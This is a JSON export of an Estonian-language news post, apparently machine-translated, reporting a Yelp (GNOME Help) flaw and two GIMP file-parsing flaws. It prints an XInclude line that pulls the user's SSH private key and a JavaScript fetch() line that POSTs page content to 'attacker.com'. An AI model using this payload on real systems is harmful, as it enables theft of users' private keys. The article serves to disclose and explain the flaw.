{"id":123434,"date":"2025-04-08T15:05:07","date_gmt":"2025-04-08T13:05:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov"},"modified":"2025-04-08T15:05:07","modified_gmt":"2025-04-08T13:05:07","slug":"uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","title":{"rendered":"GNOME Help- ja GIMP-i haavatavused, mis v\u00f5imaldavad koodi k\u00e4ivitada failide avamisel.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

GNOME'i vaikimisi abimeetmete kuvajas, mida kasutatakse dokumentatsiooniga (GNOME Help) t\u00f6\u00f6tamiseks, leiti haavatavus (CVE-2025-3155), mis v\u00f5imaldab spetsiaalselt kujundatud page-failide avamisel k\u00e4ivitada suvalist JavaScripti koodi. Selliste skriptide k\u00e4itamine annab v\u00f5imaluse kasutaja faile r\u00fcndaja serverisse edastada. Haavatavuse k\u00f5rvaldamise j\u00e4lgimist jaotustes saab teha j\u00e4rgmistelt lehtedelt: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD. <\/p>\n

GNOME'is registreeritud dokumentide avamiseks URI \u00abghelp:\/\/\u00bb, mida t\u00f6\u00f6deldakse l\u00e4bi Yelp'i kutse. R\u00fcnnaku jaoks peab r\u00fcndaja saavutama oma indeksi fail index.page laadimise kasutaja s\u00fcsteemi. N\u00e4iteks v\u00f5ib seda teha, pettes kasutajat laadima faili l\u00e4bi brauseri, kl\u00f5psates r\u00fcndaja veebisaidi lingil. P\u00e4rast faili laadimist saab r\u00fcndaja algatada selle dokumendi avamise, suunates brauseri veel oma lehelt URL-ile ghelp:\/\/, kus on tee katalooge, kuhu fail on laaditud. N\u00e4iteks \u00abghelp:\/\/\/proc\/self\/cwd\/Downloads\u00bb, kus tee \u00ab\/proc\/self\/cwd\u00bb on seotud jooksva protsessi t\u00f6\u00f6kaustaga (Yelp'i k\u00e4ivitamisel on see kasutaja kodukaust). <\/p>\n

Haavatavus tuleneb sellest, et lehefailides kasutatakse Mallardi, XML-p\u00f5hist formaate. Selles formaadis on v\u00f5imalus dokumentidesse lisada sisu teistest failidest, kasutades XInclude mehhanismi. Lehefailide renderdamiseks muudab programm Yelp need XML-ist HTML-iks XSLT (yelp-xsl) abil, seej\u00e4rel kuvab selle WebKitGtk mootoriga. Idee on saavutada JavaScripti lisamine l\u00f5pp-HTML-faili ja kasutada seda JavaScripti andmete edastamiseks. serveril<\/a> sissepandud sisu kaudu XInclude. <\/p>\n

JavaScripti lisamiseks on kasutatud, et XSLT kopeerib m\u00f5ned elemendid HTML-i ilma eristamiseta, n\u00e4iteks kopeeritakse t\u00e4ielikult element <svg> ja kogu selle sisemised elemendid. Seega, et edastada fail \"~\/.ssh\/id_rsa\", on piisav selle lisamine lehedokumendis direktiiviga \"include\": <include parse=\"text\" xmlns=\"http:\/\/www.w3.org\/2001\/XInclude\" href=\"\/proc\/self\/cwd\/.ssh\/id_rsa\"\/> server<\/a> Faili \u00ab~\/ .ssh\/id_rsa\u00bb piisab selle lisamisest page-dokumenti k\u00e4su \u00abinclude\u00bb abil: <\/p>\n

Seej\u00e4rel tuleks lisada elementi JavaScript'i kutse koodiga, et saata POST-p\u00e4ring v\u00e4lisele serverile, kasutades fetch() funktsiooni: onload=_=>fetch('http:\/\/attacker.com\/',{method:'POST',body:document.body.outerHTML,mode:'no-cors'}) <\/p>\n

Lisaks on v\u00e4lja toodud kaks haavatavust (CVE-2025-2761, CVE-2025-2760) graafilises redigeerijas GIMP, mis v\u00f5imaldavad r\u00fcndajal k\u00e4ivitada koodi, kui kasutaja avab spetsiaalselt ette valmistatud pilte formaatides XWD ja FLI. M\u00f5lemad haavatavused on p\u00f5hjustatud mitten\u00f5uetekohasest suuruse kontrollimisest andmete kopeerimisel puhverisse failide sisu anal\u00fc\u00fcsimise k\u00e4igus. Haavatavused on k\u00f5rvaldatud GIMP versioonis 3.0.0.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0449\u0438\u043a\u0435 Yelp, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 GNOME \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u044b\u043c\u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u043c\u0438 (GNOME Help), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-3155), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 page-\u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u041f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-123434","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Haavatavused GNOME Help'is ja GIMP'is, mis v\u00f5imaldavad koodi k\u00e4ivitada failide avamisel | ProHoster","description":"GNOME'i vaikevaatajas Yelp, mida kasutatakse k\u00e4siraamatute (GNOME Help) jaoks, on tuvastatud haavatavus (CVE-2025-3155), mis v\u00f5imaldab k\u00e4ivitada mis tahes JavaScripti koodi spetsiaalselt vormindatud page-failide avamisel. Selliste skriptide t\u00e4itmine annab v\u00f5imaluse saata kasutaja faile r\u00fcndaja serverisse. Haavatavuse k\u00f5rvaldamise edenemist jaotustes saab j\u00e4lgida j\u00e4rgmistel lehtedel: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 GNOME Help \u0438 GIMP, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 | ProHoster","og:description":"\u0412 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0449\u0438\u043a\u0435 Yelp, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 GNOME \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u044b\u043c\u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u043c\u0438 (GNOME Help), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-3155), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 page-\u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u041f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD.","og:url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-04-08T13:05:07+00:00","article:modified_time":"2025-04-08T13:05:07+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"123434","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-02-09 22:07:19","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 12:05:22","updated":"2026-02-09 22:07:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/123434","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=123434"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/123434\/revisions"}],"predecessor-version":[{"id":173086,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/123434\/revisions\/173086"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=123434"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=123434"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=123434"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}